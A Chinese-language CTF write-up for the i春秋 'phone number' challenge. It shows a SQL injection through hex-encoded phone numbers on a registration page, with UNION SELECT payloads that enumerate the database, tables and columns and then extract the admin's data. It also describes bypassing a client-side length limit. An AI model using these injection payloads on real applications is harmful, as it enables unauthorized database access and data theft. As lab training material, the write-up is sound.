i春秋 phone number

    技术2023-08-11  106

    0x00思路

    注册页面必有猫腻,于是随便注册一个账号进去,发现点击check可以查询到手机号相同的信息,肯定是连接到数据库的,所以推测是个数据库注入。

    0x01步骤

    1、尝试注册带有SQL语句查询的电话号,发现只能传入numbers,那我寻思十六进制的数字也是数字啊(露出哲学的微笑) 2、构造如下语句查询数据库(文末有进制转换的🔗,做的时候忘了截图嘤嘤嘤) emmmm发现只能上传11位数字,好尴尬,审查元素改一下 接着来SQL

    1 and 1=2 union select database()

    3、轮到表了

    1 union select table_name from information_schema.tables where table_schema=database()

    3、再来看看都有些啥字段

    1 union select column_name from information_schema.columns where table_name="user"

    4、啊这…多少有点眼花缭乱,但结合源代码

    admin中存在大秘密

    所以查看user表的admin

    1 and 1=2 union select phone from user where username="admin"

    得到flag

    以上语句均需要转换成十六进制然后在注册页面的手机号中输入,长度受限改改maxlength就好了啦(啾咪~)

    0x02注意

    1、也不知道我头不行还是咋,刚开始将语句转换成16进制的数字后,我直接不加0x复制粘贴,一直显示只能够传入数字,好家伙给我整懵了,我为什么不加0x呢,因为我觉得x是个字母,那玩意肯定不行啊,也不知道为啥就不觉得16进制转换过来里面的字母就不算了,后来折腾半天,加上了0x就好了

    2、可能我本人带点bug属性,我找的那种网站转出来的16进制都转不回去,空格全没了,所以给大家附上一条转数字的路:https://tool.lu/hexstr/

    Processed: 0.009, SQL: 10